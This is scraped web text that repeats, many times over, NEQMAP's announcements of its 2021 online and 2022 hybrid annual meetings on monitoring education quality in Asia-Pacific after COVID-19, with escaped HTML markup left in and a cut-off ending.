As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and 